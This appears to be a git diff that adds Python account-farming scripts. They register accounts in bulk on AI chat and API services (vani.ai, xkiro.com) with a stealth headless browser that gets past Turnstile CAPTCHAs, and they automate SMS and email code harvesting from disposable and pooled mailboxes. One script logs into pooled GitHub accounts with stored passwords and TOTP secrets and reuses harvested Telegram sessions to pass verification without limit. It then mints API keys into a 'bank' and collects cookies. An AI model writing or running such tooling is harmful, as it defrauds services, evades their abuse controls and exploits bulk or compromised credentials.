pg.wait_for_timeout(800) + ph_vals = pg.evaluate("() => JSON.stringify({cc:document.querySelector('input[name=country_code]')?.value, ln:document.querySelector('input[name=local_number]')?.value})") + res['phone_values'] = ph_vals + print(' phone values:', ph_vals) + res['phone_filled'] = filled_ph + pg.wait_for_timeout(1200) + clicked = pg.evaluate(btn_text(pg, r'Send verification|Отправить код|Send verification code|Send code|Продолжить|Continue|Verify')) + if not clicked: + try: + pg.get_by_role('button', name=re.compile('send|verification|отправить|continue|продолжить', re.I)).first.click(timeout=5000) + clicked = 'locator' + except Exception as ce: + print(' SEND CLICK FAIL:', str(ce)[:100], flush=True) + print(' send clicked:', clicked, flush=True) + pg.wait_for_timeout(5000) + body_after_send = re.sub(r'\s+', ' ', pg.evaluate('() => document.body.innerText'))[:300] + res['after_phone_send'] = body_after_send + print(' after send:', body_after_send[:150]) + sms_code = None + t1 = time.time() + while time.time() - t1 < 420: + if os.path.exists(cfile): + try: + d = json.load(open(cfile, encoding='utf-8')) + sms_code = d.get('code') + res['sms_raw'] = json.dumps(d, ensure_ascii=False)[:200] + break + except Exception: + pass + if sms_proc.poll() is not None and time.time() - t1 > 30: + break # reader died without code file + time.sleep(3) + try: + if sms_proc.poll() is None: + sms_proc.kill() + except Exception: + pass + res['sms_code'] = sms_code + print(' sms code:', sms_code, '| raw:', str(res.get('sms_raw'))[:120]) + if sms_code: + try: + pg.evaluate("() => { const inp=[...document.querySelectorAll('input')].find(e=>e.offsetParent && e.type!=='hidden'); if(inp) inp.focus(); }") + pg.keyboard.type(sms_code, delay=200) + except Exception as e: + res['sms_type_err'] = str(e)[:150] + pg.wait_for_timeout(12000) # auto-submit + navigation window + try: + if re.search(r'Продолжить|Continue|Verify|Подтвердить', pg.evaluate('() => document.body.innerText')): + pg.evaluate(btn_text(pg, r'Продолжить|Continue|Verify|Подтвердить')) + pg.wait_for_timeout(9000) + except Exception: + pass # navigation in flight = good sign + try: + pg.wait_for_load_state('domcontentloaded', timeout=20000) + except Exception: + pass + try: + res['after_phone_code'] = re.sub(r'\s+', ' ', pg.evaluate('() => document.body.innerText'))[:300] + res['phone_url'] = pg.url + print(' after phone code url:', pg.url[:100]) + except Exception as e: + res['phone_state_err'] = str(e)[:120] + # final state + res['final_url'] = pg.url + res['final_body'] = re.sub(r'\s+', ' ', pg.evaluate('() => document.body.innerText'))[:400] + cks = pg.context.cookies() + res['cookies'] = [{'name': c['name'], 'value': c['value'], 'domain': c.get('domain')} for c in cks] if isinstance(cks, list) else str(cks)[:1000] + try: + res['local_storage'] = pg.evaluate("() => JSON.stringify(Object.fromEntries(Object.keys(localStorage).map(k=>[k,(localStorage.getItem(k)||'').slice(0,2000)])))") + except Exception: + pass + pg.screenshot(path=os.path.join(HERE, f'ok_{i}.png')) + if 'auth.type.com' not in pg.url: + res['ok'] = True + okc += 1 + print(f' [{i}] OK url={pg.url[:100]}') + else: + res['err'] = res.get('err') or 'stuck on auth' + print(f' [{i}] FAIL {res.get("err")}') + except StopIteration: + pass + except Exception as e: + res['err'] = str(e)[:250] + print(f' [{i}] EXC: {str(e)[:180]}') + finally: + if b: + try: + b.close() + except Exception: + pass + with open(OUT, 'a', encoding='utf-8') as f: + f.write(json.dumps(res, ensure_ascii=False) + '\n') + if res.get('email'): + with open(os.path.join(HERE, 'used_emails.txt'), 'a') as f: + f.write(res['email'] + '\n') + time.sleep(random.randint(5, 12)) + print(f'DONE ok={okc}/{n}') + +if __name__ == '__main__': + n = int(sys.argv[1]) if len(sys.argv) > 1 else 1 + provider = sys.argv[2] if len(sys.argv) > 2 else 'voidash' + run(n, provider) diff --git a/providers/vani_turnstile.py b/providers/vani_turnstile.py new file mode 100644 index 0000000..627013e --- /dev/null +++ b/providers/vani_turnstile.py @@ -0,0 +1,231 @@ +# -*- coding: utf-8 -*- +"""Vani.ai autoreg — cloakbrowser native turnstile + voidash/t-online email +Flow: /login?next=/chat -> email + native TS token -> Check your email -> code/link -> session +""" +import sys, re, json, time, random, string, os +import requests + +sys.stdout.reconfigure(encoding='utf-8') +BASE = 'https://c.vani.ai' +LOGIN = BASE + '/login?next=%2Fchat' +OUT = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'vani_accounts.jsonl') +VOID = 'https://api.voidash.com/api/v1' +IMAP_POOL = r'C:\Users\User\Desktop\avtoreg\working_mails.txt' + +r = lambda n: ''.join(random.choices(string.ascii_lowercase + string.digits, k=n)) + +def make_voidash(): + d = requests.post(VOID + '/inboxes', json={'domain': 'voidash.bond'}, timeout=30).json() + return ('voidash', d['address'], d['session_key']) + +def load_tonline(n=1): + used = set() + if os.path.exists('used_emails.txt'): + used = set(l.strip() for l in open('used_emails.txt') if l.strip()) + out = [] + for line in open(IMAP_POOL, encoding='utf-8'): + line = line.strip() + if ':' not in line or line.startswith('#'): + continue + em, pw = line.split(':', 1) + if '-' in em.split('@')[0] or em in used: # dash-алиасы мертвы + continue + out.append(('t-online', em, pw)) + if len(out) >= n: + break + return out + +def poll_voidash(key, timeout=240): + t0 = time.time() + while time.time() - t0 < timeout: + try: + msgs = requests.get(VOID + '/messages', headers={'Authorization': 'Bea' + 'rer ' + key}, timeout=30).json() + items = msgs if isinstance(msgs, list) else msgs.get('messages', msgs.get('data', [])) + for m in items: + body = json.dumps(m, ensure_ascii=False) + if 'vani' in body.lower(): + return body + except Exception: + pass + time.sleep(5) + return None + +def poll_imap_tonline(email, pw, timeout=240): + import imaplib, email as emlib + t0 = time.time() + while time.time() - t0 < timeout: + try: + M = imaplib.IMAP4_SSL('secureimap.t-online.de', 993) + M.login(email, pw) + M.select('INBOX') + typ, data = M.search(None, '(SUBJECT "Vani")') + ids = data[0].split() + if not ids: + typ, data = M.search(None, 'ALL') + ids = data[0].split()[-5:] + for i in ids[-5:]: + typ, md = M.fetch(i, '(RFC822)') + msg = emlib.message_from_bytes(md[0][1]) + frm = str(msg.get('From', '')) + if 'vani' not in frm.lower(): + continue + body = '' + if msg.is_multipart(): + for part in msg.walk(): + if part.get_content_type() == 'text/html': + body = part.get_payload(decode=True).decode('utf-8', 'replace') + break + else: + body = msg.get_payload(decode=True).decode('utf-8', 'replace') + M.logout() + return json.dumps({'from': frm, 'subject': str(msg.get('Subject')), 'body': body}, ensure_ascii=False) + M.logout() + except Exception as e: + print(' imap retry:', str(e)[:80]) + time.sleep(8) + return None + +def extract_code_link(mailjson): + code = None + link = None + lk = re.search(r'https://c\.vani\.ai/[^\s"\\<]+', mailjson) + if lk: + link = lk.group(0).replace('\\u0026', '&').replace('\\/', '/').replace('\\u003d', '=') + # 6-digit code — в тексте, часто крупным шрифтом; ищем изолированные 6 цифр + for m in re.finditer(r'(?:code[^0-9]{0,40}|>)\s*([0-9]{6})\s*(?:<|$|[^0-9])', mailjson, re.I): + code = m.group(1) + break + if not code: + m = re.search(r'\b(\d{6})\b', re.sub(r'https?://\S+', '', mailjson)) + if m: + code = m.group(1) + return code, link + +def run(n, provider='voidash'): + import cloakbrowser + okc = 0 + for i in range(n): + res = {'ok': False, 'ts': int(time.time()), 'provider': provider} + b = None + try: + if provider == 'voidash': + kind, emailaddr, cred = make_voidash() + else: + kind, emailaddr, cred = load_tonline(1)[0] + res['email'] = emailaddr + print(f'[{i}] email={emailaddr}') + b = cloakbrowser.launch(headless=True) + pg = b.new_page() + pg.goto(LOGIN, wait_until='domcontentloaded', timeout=60000) + pg.wait_for_selector('input[type=email]', timeout=25000) + pg.wait_for_timeout(2000) + # cookie banner accept + try: + btn = pg.evaluate("""() => { const b=[...document.querySelectorAll('button')].find(e=>(e.innerText||'').trim()==='Accept'); if(b){b.click();return 1;} return 0; }""") + except Exception: + pass + pg.fill('input[type=email]', emailaddr) + # ждём нативный turnstile токен в hidden input + tok = None + for _ in range(50): + v = pg.evaluate("() => document.querySelector('input[name=turnstile_token]')?.value?.length || 0") + if v and v > 50: + tok = v + break + pg.wait_for_timeout(2500) + res['ts_token_len'] = tok or 0 + if not tok: + res['err'] = 'turnstile token timeout' + print(' TS timeout') + raise StopIteration + pg.wait_for_timeout(1000) + pg.evaluate("() => { const b=[...document.querySelectorAll('button')].find(e=>(e.innerText||'').includes('Email me a sign-in')); b.click(); }") + pg.wait_for_timeout(9000) + body = re.sub(r'\s+', ' ', pg.evaluate('() => document.body.innerText'))[:400] + res['after_submit'] = body + if 'Check your email' not in body and 'code' not in body.lower(): + res['err'] = 'no confirmation: ' + body[:200] + print(' FAIL submit:', body[:150]) + raise StopIteration + print(' confirmation OK, polling mail...') + mail = poll_voidash(cred, 240) if provider == 'voidash' else poll_imap_tonline(emailaddr, cred, 240) + if not mail: + res['err'] = 'no email' + raise StopIteration + open(f'mail_{i}.json', 'w', encoding='utf-8').write(mail) + code, link = extract_code_link(mail) + res['code'] = code + res['link'] = (link or '')[:140] + print(f' code={code} link={(link or "")[:80]}') + verified = False + if code: + # ввод кода на странице + try: + inputs = pg.evaluate("() => [...document.querySelectorAll('input')].map(e=>({t:e.type,n:e.name,ml:e.maxLength}))") + res['code_inputs'] = inputs + filled = False + for idx, inp in enumerate(inputs): + if inp.get('ml') == 6 or (inp.get('t') == 'text' and inp.get('n', '').lower().find('code') > -1): + sel = f"input >> nth={idx}" + pg.fill(sel, code) + filled = True + break + if not filled: + # OTP-style раздельные боксы + boxes = pg.query_selector_all("input[maxlength='1']") + if len(boxes) >= 6: + for j, ch in enumerate(code): + boxes[j].fill(ch) + filled = True + if filled: + pg.wait_for_timeout(2000) + pg.evaluate("() => { const b=[...document.querySelectorAll('button')].find(e=>/verify|continue|sign in|submit/i.test(e.innerText||'')); if(b) b.click(); }") + pg.wait_for_timeout(8000) + except Exception as e: + res['code_err'] = str(e)[:120] + body2 = re.sub(r'\s+', ' ', pg.evaluate('() => document.body.innerText'))[:300] + res['after_code'] = body2 + if pg.url.rstrip('/').endswith('chat') or 'chat' in pg.url or 'welcome' in body2.lower() or 'new chat' in body2.lower(): + verified = True + if not verified and link: + pg.goto(link, wait_until='domcontentloaded', timeout=60000) + pg.wait_for_timeout(8000) + body3 = re.sub(r'\s+', ' ', pg.evaluate('() => document.body.innerText'))[:300] + res['after_link'] = body3 + res['final_url'] = pg.url + if '/login' not in pg.url: + verified = True + if verified: + cks = pg.context.cookies() if hasattr(pg, 'context') else pg.evaluate('() => document.cookie') + res['cookies'] = cks if isinstance(cks, list) else str(cks)[:500] + res['final_url'] = pg.url + res['ok'] = True + okc += 1 + print(f' [{i}] OK verified, url={pg.url}') + else: + res['err'] = res.get('err') or 'not verified' + pg.screenshot(path=f'fail_{i}.png') + print(f' [{i}] FAIL: {res.get("err")}') + except StopIteration: + pass + except Exception as e: + res['err'] = str(e)[:200] + print(f' [{i}] EXC: {str(e)[:150]}') + finally: + if b: + try: + b.close() + except Exception: + pass + with open(OUT, 'a', encoding='utf-8') as f: + f.write(json.dumps(res, ensure_ascii=False) + '\n') + if res.get('email'): + with open('used_emails.txt', 'a') as f: + f.write(res['email'] + '\n') + time.sleep(random.randint(5, 12)) + print(f'DONE ok={okc}/{n}') + +if __name__ == '__main__': + n = int(sys.argv[1]) if len(sys.argv) > 1 else 1 + provider = sys.argv[2] if len(sys.argv) > 2 else 'voidash' + run(n, provider) diff --git a/providers/xkiro_tg_verify.py b/providers/xkiro_tg_verify.py new file mode 100644 index 0000000..7d16bb9 --- /dev/null +++ b/providers/xkiro_tg_verify.py @@ -0,0 +1,258 @@ +# -*- coding: utf-8 -*- +"""xkiro_farm.py — FULL E2E: GH OAuth -> login -> TG ticket -> bot verify (30M tokens) -> API key -> bank. +One cffi session per account (middleware rotates __xt_rt single-use — cookies MUST stay in-session). +Usage: PYTHONPATH="" Python311 xkiro_farm.py <count> [start] +Bank: C:/Users/User/tmp/xkiro/xkiro_bank.jsonl +""" +import sys, os, json, time, re, asyncio, argparse +sys.path.insert(0, 'C:/Users/User/tmp/regfarm') +sys.path.insert(0, 'C:/Users/User/tmp/regfarm/github_oauth') +from curl_cffi import requests as cq +import gh_http + +XK = 'https://xkiro.com' +API = 'https://api.xkiro.com' +CID = 'Ov23li0EyjNfkXUSKZel' +BANK = r'C:/Users/User/tmp/xkiro/xkiro_bank.jsonl' +GOOD_TG = r'C:/Users/User/tmp/xkiro/xkiro_good_tg.json' # proven REUSABLE sessions (verified 2+ accounts) +POOL = r'C:/Users/User/tmp/gh_accounts.json' +USED = r'C:/Users/User/tmp/xkiro/xkiro_used_tg.json' +AVAIL = r'C:/Users/User/tmp/mia_avail_sessions.json' +DIRS = [r'C:/Users/User/Desktop/CLEAN_ALIVE_SESSIONS', r'C:/Users/User/.orca/sessions'] +IMP = 'chrome131' +H = {'Accept': 'application/json', 'Content-Type': 'application/json', + 'Referer': XK + '/dashboard', 'Origin': XK} + +# TG creds +import glob as _g +TG_ID, TG_HASH = None, None +for p in [r'C:/Users/User/tmp/mia_verify_slow.py', r'C:/Users/User/tmp/freemodel/freemodel_full.py']: + try: + t = open(p, encoding='utf-8').read() + m1 = re.search(r'API_ID\s*=\s*(\d+)', t) + m2 = re.search(r'API_HASH\s*=\s*[\'"]([a-f0-9]+)[\'"]', t) + if m1 and m2: + TG_ID, TG_HASH = int(m1.group(1)), m2.group(1) + break + except Exception: + pass + +def log(*a): + print(*a, flush=True) + +def good_sessions(): + """Proven reusable TG sessions (rotate, no consumption).""" + out = [] + try: + for p in json.load(open(GOOD_TG)): + if os.path.exists(p): + out.append(p) + except Exception: + pass + return out + +def mark_good(path): + try: + g = json.load(open(GOOD_TG)) + except Exception: + g = [] + if path not in g: + g.append(path) + json.dump(g, open(GOOD_TG, 'w')) + +def tg_sessions(n=4): + names = json.load(open(AVAIL)) + try: + used = set(json.load(open(USED))) + except Exception: + used = set() + # exclude sessions already consumed by miarouter verifier (avoid AuthKeyDuplicated) + try: + mstate = json.load(open(r'C:/Users/User/Desktop/farm/miarouter/verifier_state.json')) + used |= set(mstate.get('used_tg', [])) + except Exception: + pass + tail = [b for b in names if b not in used] + tail = tail[-n:] # TAIL: miarouter verifier walks head-first + out = [] + for b in tail: + for d in DIRS: + p = os.path.join(d, b) + if os.path.exists(p): + out.append(p) + break + return out + +def mark_tg_used(basename): + try: + used = set(json.load(open(USED))) + except Exception: + used = set() + used.add(basename) + json.dump(sorted(used), open(USED, 'w')) + +async def bot_start(sess_path, ticket): + from telethon import TelegramClient + name = os.path.basename(sess_path) + client = TelegramClient(sess_path.replace('.session', ''), TG_ID, TG_HASH) + try: + await asyncio.wait_for(client.connect(), 45) + if not await client.is_user_authorized(): + return name, 'NOT_AUTH' + await client.send_message('xkiro_official_bot', '/start ' + ticket) + await asyncio.sleep(9) + msgs = await client.get_messages('xkiro_official_bot', limit=4) + txt = ' '.join((m.message or '')[:200] for m in msgs if not m.out).lower() + if 'verified successfully' in txt or "you've received" in txt: + return name, 'OK' + if 'join' in txt or 'channel' in txt: + from telethon.tl.functions.channels import JoinChannelRequest + try: + await client(JoinChannelRequest('xtrouter')) + await asyncio.sleep(3) + await client.send_message('xkiro_official_bot', '/start ' + ticket) + await asyncio.sleep(8) + msgs = await client.get_messages('xkiro_official_bot', limit=4) + txt = ' '.join((m.message or '')[:200] for m in msgs if not m.out).lower() + if 'verified' in txt: + return name, 'OK' + return name, 'REPLY:' + txt[:120] + except Exception as e: + return name, 'JOIN_FAIL:' + type(e).__name__ + return name, 'REPLY:' + txt[:120] + finally: + try: + await client.disconnect() + except Exception: + pass + +def farm_one(acc, tgsess): + lg = acc['login'] + rec = {'gh_login': lg, 'ts': time.strftime('%H:%M:%S')} + s = cq.Session(impersonate=IMP) + # 1 state + try: + r = s.get(API + '/api/v1/auth/github', headers={**H, 'Accept': 'text/html', 'Sec-Fetch-Site': 'none'}, + allow_redirects=False, timeout=30) + loc = r.headers.get('Location', '') or '' + m = re.search(r'state=([a-f0-9]{16,})', loc) + if not m: + m = re.search(r'state=([a-f0-9]{16,})', r.text or '') + if not m: + rec['stage'] = 'state'; rec['err'] = f'http={r.status_code}' + return rec + state = m.group(1) + except Exception as e: + rec['stage'] = 'state'; rec['err'] = str(e)[:100]; return rec + # 2 gh code + gh = gh_http.GHSession(bind=False) + ok, err = gh.login(lg, acc['password'], acc.get('totp')) + if not ok: + rec['stage'] = 'gh_login'; rec['err'] = err; return rec + code, cerr = gh.oauth_code(CID, state, scope='read:user user:email') + if not code: + rec['stage'] = 'gh_code'; rec['err'] = cerr; return rec + # 3 callback (same session!) + try: + r3 = s.get(API + f'/api/v1/auth/github/callback?code={code}&state={state}', + headers={**H, 'Accept': 'text/html', 'Sec-Fetch-Site': 'cross-site', + 'Referer': 'https://github.com/'}, timeout=40) + cks = dict(s.cookies) + if not cks.get('__xt_at'): + rec['stage'] = 'callback'; rec['err'] = f'http={r3.status_code} no __xt_at' + return rec + rec['cookies'] = cks + except Exception as e: + rec['stage'] = 'callback'; rec['err'] = str(e)[:100]; return rec + # 4 ticket via xkiro.com proxy (cookies same names, set on xkiro.com) + s2 = cq.Session(impersonate=IMP) + for k, v in cks.items(): + s2.cookies.set(k, v, domain='xkiro.com') + s2.cookies.set(k, v, domain='.xkiro.com') + if not tgsess: + rec['tg'] = 'NO_TG_SESSION' + else: + try: + rt = s2.post(XK + '/api/v1/me/telegram/ticket', headers=H, data='{}', timeout=25) + j = rt.json() + data = j.get('data') or {} + if data.get('alreadyVerified'): + rec['tg'] = 'already' + else: + dl = data.get('deepLink', '') + ticket = dl.split('start=')[-1] if 'start=' in dl else '' + if not ticket: + rec['stage'] = 'ticket'; rec['err'] = rt.text[:120]; return rec + # 5 bot verify + try: + sp, res = asyncio.run(bot_start(tgsess, ticket)) + except Exception as be: + res = f'EXC:{type(be).__name__}:{str(be)[:60]}' + rec['tg'] = res; rec['tg_sess'] = os.path.basename(tgsess) + if res == 'OK': + mark_tg_used(os.path.basename(tgsess)) # consumed: 1 TG acct = 1 xkiro verification + else: + mark_tg_used(os.path.basename(tgsess)) # any failure: never reuse (dup/NOT_AUTH/burned) + except Exception as e: + rec['stage'] = 'ticket'; rec['err'] = str(e)[:100] + # refresh cookies after middleware rotation + fresh = dict(s2.cookies) + if fresh.get('__xt_at'): + rec['cookies'] = {**cks, **fresh} + # 6 key + wallet + status + try: + rk = s2.post(XK + '/api/v1/keys', headers=H, data=json.dumps({'name': 'farm'}), timeout=25) + jk = rk.json() + rec['key'] = (jk.get('data') or {}).get('plaintext') + rec['key_id'] = ((jk.get('data') or {}).get('key') or {}).get('id') + except Exception as e: + rec['key_err'] = str(e)[:80] + try: + rec['wallet'] = s2.get(XK + '/api/v1/wallet', headers=H, timeout=20).json().get('data') + rec['tg_status'] = s2.get(XK + '/api/v1/me/telegram/status', headers=H, timeout=20).json().get('data') + except Exception: + pass + rec['stage'] = 'done' + return rec + +def main(): + ap = argparse.ArgumentParser() + ap.add_argument('count', type=int, nargs='?', default=1) + ap.add_argument('start', type=int, nargs='?', default=0) + args = ap.parse_args() + pool = json.load(open(POOL)) + done = set() + try: + for line in open(BANK, encoding='utf-8'): + r = json.loads(line) + if r.get('stage') == 'done' or r.get('key'): + done.add(r['gh_login']) + except Exception: + pass + cand = [a for a in pool if a['login'] not in done] + log(f'=== xkiro farm: {args.count}, candidates {len(cand)}, TG_ID set: {TG_ID is not None}') + tgs = tg_sessions(args.count + 2) + log('tg sessions:', len(tgs)) + n = 0 + for i, a in enumerate(cand[args.start:]): + if n >= args.count: + break + goods = good_sessions() + if goods: + tg = goods[n % len(goods)] # REUSE: proven sessions verify unlimited accounts + else: + tgs = tg_sessions(1) # fresh per account: excludes xkiro-used + miarouter used_tg + tg = tgs[0] if tgs else None + log(f'--- {a["login"]} (tg: {os.path.basename(tg) if tg else "NONE"})') + try: + rec = farm_one(a, tg) + except Exception as e: + rec = {'gh_login': a['login'], 'stage': 'exc', 'err': f'{type(e).__name__}:{e}'[:120]} + with open(BANK, 'a', encoding='utf-8') as f: + f.write(json.dumps(rec, ensure_ascii=False) + '\n') + log(' ', {k: (str(v)[:60] if k not in ('cookies',) else '<saved>') for k, v in rec.items() if k != 'gh_login'}) + n += 1 + time.sleep(25) + +if __name__ == '__main__': + main()